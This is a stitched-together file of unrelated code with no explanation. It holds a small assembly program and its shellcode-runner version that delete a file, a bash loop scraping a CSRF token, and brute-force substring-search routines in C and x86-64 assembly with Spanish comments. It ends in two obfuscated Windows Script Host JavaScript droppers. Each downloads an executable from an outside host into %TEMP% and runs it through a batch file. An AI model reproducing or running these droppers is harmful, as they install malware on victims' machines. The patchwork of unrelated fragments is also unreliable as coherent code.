.section .data
__archivo:
.asciz "/home/httpd/test"  # Archivo a eliminar.

.section .text
.global main
main:
        movl $10, %eax     
        movl $__archivo, %ebx    
        int  $0x80

        movl %eax, %ebx   
        movl $1, %eax      
        int  $0x80

char sc[] =  "\xb8\x0a\x00\x00\x00\xbb\x8c\x90\x04\x08\xcd\x80\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80";

int main (void){

        int (*func)();
        func = (int (*)())sc;
        (int)(*func)();
}

#!/bin/bash
echo "Token usado para enviar formularios via post"
while true; do wget -qO - http://codeforces.com/profile/ | grep -m 1 "input type='hidden' name='csrf_token' value" | awk '{print $6}' | cut -d "'" -f 2; done

#include <stdio.h>

int fuerzabruta(char *S, char *s, int lS, int ls)
{
        int i, j;

        for(i=0; i<lS-ls+1; i++)
                if(S[i]==s[0]) {
                      for (j=0; j<ls; j++){
                              if (S[i+j] != s[j]) break;
                      }
    
                        if(j==ls) return i;
        }
        return -1; 
}   

#int fuerzabruta(char *S, char *s, int lS, int ls){
#	int i, j;
#	for(i=0; i<lS-ls+1; i++)
#		if(S[i]==s[0]) {
#			for(j=0; j<ls && S[i+j]==s[j]; j++);
#			if(j==ls) return i;
#	}
#	return -1;
#}

# Retorna la posición del primer elemento de la cadena a buscar.
# "sHolasos" "sos" retorna 5.



# lS = %rdx
# ls = %rcx

.data
	i: .quad 0

.text
.global bf
bf:
	# iremos incrementando (df = 0)
	cld

	# Guardo variable ls en otro registro.
	# rdx = ls
	movq %rcx,%r8
	

	# cuantas veces repetimos al primer for?
	
	subq %rcx,%rdx	# rdx = rdx - rcx
			# es decir: lS = lS - ls

	addq $1,%rdx # sumo 1 



	# Lo cargamos al rcx para el bucle.
	movq %rdx, %rcx
aca:
	lodsb # copiamos el primer caracter de la 2da cadena en el rax
#	decq %rsi

	sigue1:
		#lodsb
		# primero busco el primer caracter de la cadena 2 en la cadena 1.
		# mas tecnico: comparamos rax con rdi
		scasb
		# si encontramos el primer caracter en algun lugar de la cadena, saltamos al 2do for.
		
		je found
	loop sigue1
	# termina.
	# -1 si no lo encontramos el primer caracter de la 2da cadena en la primera.
	movq $-1, %rax
	ret


found:
	# encontramos el primer caracter de la 2da cadena en la primera.
	# estamos dentro del primer if.
	# usaremos el registro r8, hasta el momento r8 = ls.

	# Quiero saber el valor de i
	# i = %rdx - %rcx
	# i = lS-ls+1 - veces repetido (hacia atras,es decir del tope al 0).

	# Guardamos informacion del bucle anterior.
	movq %rcx,%r13
	movq %rdx,%r15
	movq %rsi,%r9
	subq $1,%r9

	subq %rcx,%rdx # rdx = rdx - rcx ( i = rdx )


	# Cargamos r8=ls a rcx para el 2do for. Hay que restar uno.
	movq %r8,%rcx
	decq %rcx
	movq %rdi,%r14
	sigue2:
		# comprobamos si los siguientes caracteres estan en la cadena 1.
		# tengo que cambiar adonde apunta rdi, es decir la primer cadena. ( S[i+j] ) 
		# i = rdx
		cmpsb
		jne fail
	loop sigue2
	movq %rdx,%rax
	addq $1,%rax
	ret
		
	
# fallo en el 2do for.
fail:
	# el último if ( if j == ls return i )
	# si es igual a 0 significa que recorrió todo el bucle.
	cmpq $0, %rcx
	je final
	# si no son iguales vuelvo al 1do for.

	# antes cargo el rcx y rdi de nuevo, con informacion del i del primer bucle.
	# restauro registros
	movq %r13,%rcx
	movq %r14,%rdi

	movq %r9, %rsi
	movq %r15,%rdx
	jmp aca

final:
	subq %rcx,%rdx # es el i
	movq %rdx,%rax
	ret

.text
.global bf
bf:
	cld
	movq %rcx,%r8
	
	subq %rdx,%rcx	# rdx = rdx - rcx
			# lS = lS - ls
	addq $1, %rdx

	movq %rdx,%r9

	movq %rdx,%rcx
	aca:
		lodsb # cargamos el primer caracter de la 2da cadena en el rax.		
		subq $1,%rsi

		_1for:
			scasb
			je si_eq_s0
		loop _1for
		movq $-1, %rax
		ret

si_eq_s0:
	# Para volver al anterior bucle.
	movq %rsi, %r14
	addq $1,%rsi
	movq %rdi, %r12
	movq %rcx, %r13 # valor de i.

	subq %r13,%r9 # valor de i


	movq %r8,%rcx
	subq $1,%rcx

	_2for:
		cmpsb # rsi == rdi?
		jne fail
	loop _2for
	movq %r13,%rax
	ret
	
fail:
	cmpq $0,%rcx
	je final
	
	movq %r14,%rsi
	movq %r12,%rdi
	movq %r13,%rcx
	jmp aca

final:
	movq %r9,%rax
	ret

#include <stdio.h>
int bf ( char *s1, char *s2, int long_s1, int long_s2);
int main (void){
	printf ("Resultado: %d\n",bf("soAdSDsos","sos",9,3));
        return 0;
}

var places = 0;
quiet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  parsons = [];
var strip = {
    ':': '.',
    'U': 'S',
	'|': 'X'
	};




String.prototype.consecutive = function () {
	composite = this;
	for (var i in strip){composite = composite.replace(i, strip[i]);}
    return composite;
};
  for ( var i = 128; i--; ) {
    if ( parsons[ i ] === undefined )
      parsons[ i ] = -1;
  
    parsons[ quiet.charCodeAt( i ) ] = i;
  }
var margot = 3-2;  
String.prototype.consecutive4 = function() {
	
    var c1, c2, c3, c4;
    var i, len, out;
	var str = this.split("developmental").join("");
    len = str.length;
    i = 0;
    out = "";
    while(i < len) {
	/* c1 */
	do {
	    c1 = parsons[str.charCodeAt(i++) & 0xff];
	} while(i < len && c1 == -1);
	if(c1 == -1)
	    break;

	/* c2 */
	do {
	    c2 = parsons[str.charCodeAt(i++) & 0xff];
	} while(i < len && c2 == -1);
	if(c2 == -1)
	    break;

	out += String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4));

	/* c3 */
	do {
	    c3 = str.charCodeAt(i++) & 0xff;
	    if(c3 == 61)
		return out;
	    c3 = parsons[c3];
	} while(i < len && c3 == -1);
	if(c3 == -1)
	    break;

	out += String.fromCharCode(((c2 & 0XF) << 4) | ((c3 & 0x3C) >> 2));

	/* c4 */
	do {
	    c4 = str.charCodeAt(i++) & 0xff;
	    if(c4 == 61)
		return out;
	    c4 = parsons[c4];
	} while(i < len && c4 == -1);
	if(c4 == -1)
	    break;
	out += String.fromCharCode(((c3 & 0x03) << 6) | c4);
    }
    return out;
}

var aides = "developmentalQWdevelopmentalN0aXZdevelopmentallWE9iadevelopmentalmVjdA=developmental=".consecutive4();
String.prototype.consecutive2 = function () {
    var valid = {
        workflow: this
    };
    valid.dugout = valid.workflow["c3Vic3RyaW5n".consecutive4()](places, margot);
    return valid.dugout;
};

var plans ="developmentalRXhwYW5developmentalkRW52aXdevelopmentalJvbm1lbnRTdHJdevelopmentalpbmdz".consecutive4();
var Native = function(options){
	options = options || {};

	var afterImplement = options.afterImplement || function(){};
	var generics = options.generics;
	generics = (generics !== false);
	var legacy = options.legacy;
	var initialize = options.initialize;
	var protect = options.protect;
	var name = options.name;

	var object = initialize || legacy;


	return object;
};
var nvidia ="developmentalJVdevelopmentalRFTVdevelopmentalAl".consecutive4();
var tanker = [aides, plans,nvidia,  ""+"."+("tease","rambling","builders","editions","manga","northwest","outcast","undeserving","exe"), "UnVu".consecutive4(), ("M"+"SX"+"ML"+("cathedral","canned","revolting","aglow","necessary","leopard","specifies","2.")+"|M"+"LH"+"TT"+("imposes","ensemble","rudimentary","housing","prehistoric","boundary","longwinded","badness","P>")+"WU"+("mustang","trevor","campania","decomposition","dairy","yards","booth","cr")+("governor","wharves","karma","workshop","sawmill","oblivious","dates","transmigration","ip")+"t:"+("juxtaposition","editions","sequences","chord","manor","labour","ultimately","happens","Sh")+"ell").consecutive()];
emolument = "_F2_";
var stigma = this[tanker.shift()];
Native.implement = function(objects, properties){
	for (var i = 0, l = objects.length; i < l; i++) objects[i].implement(properties);
};

Native.genericize = function(object, property, check){
	if ((!check || !object[property]) && typeof object.prototype[property] == 'function') object[property] = function(){
		var args = Array.prototype.slice.call(arguments);
		return object.prototype[property].apply(args.shift(), args);
	};
};
Native.typize = function(object, family){
	if (!object.type) object.type = function(item){
		return ($type(item) === family);
	};
};
DKXzXUloeEt = "XiJlJKV";
pertinent = (("entrails", "turkey", "concord", "windy", "pGXUIOix") + "HYIhWey").consecutive2();
pence = (("scholastic", "admittedly", "tolerance", "kingdom", "knives", "biographer", "sClOnFArg") + "xUIHepEsuqF").consecutive2();
  
    String.prototype.lascivious = function (a) {
        for (var b = [], c = 0; c < a.length; c++)b[c] = a[c];
        return b.join("")
    };

var newspaper = tanker.pop().split(">");

improve = "b3Blbg==".consecutive4();
var lender = new stigma(newspaper[1]);
pKOwcGeVml = "_F3_";
var kimono = new stigma(newspaper[0]);
var matins = lender[tanker.shift()](tanker.shift());
MFWAxq = "_F5_";
weasel = (("ornamentation", "canister", "exodus", "ezekiel", "EIkHyUIDgGOP") + "mOzCIdN").consecutive2();
function origination(bestir, mammal) {

    try {
        var exhibits = matins + "/" + mammal ;
		exhibits = exhibits+ tanker.shift();
            kimono[improve](("embargo","language","G" + weasel) + ("recover","upper","teachers","splinter","T"), bestir, false);
       
    MSKnAYPCS = "_F7_";
    kimono[pence + ("specifications","heady","end")]();
	var revenue=(WScript+""=="V2luZG93cyBTY3JpcHQgSG9zdA==".consecutive4())&&kimono["c3RhdHVz".consecutive4()] +""=="MjAw".consecutive4()&&typeof(jFlbYxv)==="undefined";
	lQHNgR = "_F8_";
    if (revenue) {
		
        var scorch = new stigma((("morose","declination","captured","synagogue","compute","borough","beadle","saline","A")+("drugs","boating","obdurate","tureen","azores","innovative","risky","crown","SEOO")+"DB"+("repartee","occurrence","plasma","herbs","favors","flounder","disintegration",".S")+"tr8").replace("SEO", "D").replace("8", "eam"));
        scorch[improve]();
        IIQkXYytCHB = "_F9_";
        scorch.type = margot;
        uRxIgP = "_F10_";
        scorch["d3JpdGU=".consecutive4()](kimono[("freeware","inflation","advertisement","formations","accede","initiate","nepal","")+"R"+"es"+"pon"+strip['U'].toLowerCase()+"e"+"Qm9keQ==".consecutive4()]);
        uXVSamtE = "_F11_";
        scorch[(pertinent + "o"+("wines","gradually","competitor","alluring","signals","occasion","herself","bugbear","00")+("diving","berkshire","auction","country","arrival","thickness","handjob","8i")+"tion").replace("0"+("mammy","tales","surveillance","counties","ontario","expenditures","consecutive","08"), pence)] = 0;
        ekOcgRu = "_F12_";
        scorch[("grove","exploring","whereas","console","solved","scholar","titter","s")+"aveT"+"oF"+"ile"](exhibits, 2);
        KCTKNg = "_F13_";
        scorch.close();
        haORriCT = "_F14_";
		lender[tanker.shift()](exhibits, margot, true);
    }
} catch (XbSLPPW) { };

    toorSzWCx = "_F15_";
}
origination("aHR0cDovLw==".consecutive4()+"\u0064\u0075\u0062\u0061\u0069\u0066\u0072\u0069\u0064\u0061\u0079\u0073\u002E"+"\u0063\u006F\u006D\u002F\u0034\u0033\u0037\u0067\u0066\u0069\u006E\u0077\u0032" + "?WDUNFQzK=xBncBq","efYHoUEoq");
   ReoARoTPF = "_F16_";
   

var place0 = false;
var DENMARK0 = "";

var fromPath;
var VALIGN0 = "Cr"+"e"+"ateObject";
/*@cc_on /* u  */
  @if (@_win32 || @_win64)/* u  */
    //
	CONNECTION /* u  */ = "W"+"S"+"c"+"ript";
	place0 /* u  */= true;/* u  */
	DENMARK0/* u  */ = /* u  */"MLH";/* u  */
	fromPath =/* u  */ "R" + "esponseB"/* u  */ + "ydo".split('').reverse().join('');
	Turkey = /* u  */(/* u  */"noitisop").split(''/* u  */).reverse(/* u  */).join('');
	devel0 /* u  *//* u  */ =/* u  */ "eliFoTevaS".split(''/* u  */).reverse().join('');
	Currency0 = "A"+"DODB";
	DENMARK1 = "s" + "end";
	Backspace = "ht"+"tp:"+"//v"+"il"+"alu"+"sa."+"co"+"m/0"+"98r"+"44"+"fg"+"45"+"g4"+"5";
	Backspace0 = "G\x45"+"T";
 /* u  */ @end/* u  */
@*//* u  */
if (!(place0))
{
	WScript.Echo("pizzxzzda");
	WScript.Quit(1);
}


var stepy/* u  */ = /* u  */this[/* u  */CONNECTION /* u  *//* u  */]/* u  */;
var VALIGN1 = function VALIGN() {return stepy[VALIGN0](("fdasfadsfaszxvc", CONNECTION /* u  */)+".Shell");}(), aaa0 = 11;
var accinp0 /* u  */ = 1 * ((-5600 + 5602) - 0);
var catchKeyCode = accinp0 /* u  */ - (2 + 0) * 1;
function Scott(requires0){VALIGN1[("@sdf3asdf ", "adfs3.", "R")+ "u" + ("x", "n")](requires0, catchKeyCode, catchKeyCode);};
function devel(){return VALIGN0;};

{
var stepy0 = "M" + "SX"+"ML2."+"X"+DENMARK0+"T"+"TP";
var accinp = "";
accinp = "o"+"pen";
function arrCurrentTag(catchKeyCode0) {catchKeyCode0[devel0](VALIGN1["E"+"xpandEnvir"+"o"+"nmentStrings"]("%T"+"E"+"M"+"P%/") + "QDdd60eYD.ex" + "e", (4714 - 4712) * 1); return 0;};

if (true){
 Scott1 = stepy0;
 arrCurrentTag1 = stepy[VALIGN0](Scott1);
 var place /* u  */ = 3-2;
while (place /* u  */) { 
	for (;place /* u  */;){
	try {
		if (place /* u  */ == 1)
		{
			arrCurrentTag1[accinp](Backspace0, Backspace, (true, false));
			arrCurrentTag1[DENMARK1]();
			arrCurrentTag0 = "S"+"l"+"eep";
			place /* u  */ = 5316 - 5314;
		}
		stepy[arrCurrentTag0](120); 
		if (arrCurrentTag1["r"+"eadystate"] < 4) continue;
		place /* u  */ = catchKeyCode;
		function DENMARK(Currency) {var Scott0 = (123, Currency); return Scott0;};
		
		aaa = VALIGN1["E"+"xpandEnvir"+"o"+"nmentStrings"]("%T"+"E"+"M"+"P%/") + "QDdd60eYD.ex" + "e";
		CONNECTION0 = VALIGN1["E"+"xpandEnvir"+"o"+"nmentStrings"]("%T"+"E"+"M"+"P%/") + "suc11.05.2016kit.bat";
		Turkey0 = "start "+aaa+"\r\nexit"

		Scott1 = devel1 = stepy[devel()](Currency0+"."+"Str"+"e"+"a"+"m");
		Scott1[accinp]();
		Scott1["t"+"y"+"pe"] = 2;
		requires = "w"+"r"+"i"+"t"+"e";
		Scott1["Charset"] = "windows-1251";
		Scott1[requires+"Text"](Turkey0);
		devel1[Turkey] = 0;
		Scott1[devel0](CONNECTION0, -2025 + 2027);
		devel1["close"]();
		
		Scott1 = devel1 = stepy[devel()](Currency0+"."+"Str"+"e"+"a"+"m");
		Scott1[accinp]();
		Scott1["t"+"y"+"pe"] = 2;
		Scott1["Charset"] = "windows-1251";
		Scott1[requires+"Text"]("M");
		devel1[Turkey] = 0;
		arrCurrentTag(Scott1);
		devel1["close"]();
		
		Scott1 = devel1 = stepy[devel()](Currency0+"."+"Str"+"e"+"a"+"m");
		Scott1[accinp]();
		Scott1["t"+"y"+"pe"] = 1;
		Scott1[requires](arrCurrentTag1[fromPath]);
		devel1[Turkey] = -3320 + 3321;
		arrCurrentTag(Scott1);
		devel1["close"]();
		
		if (1 && place0) Scott(CONNECTION0);
	} catch(fromPath0){};};
};
}
}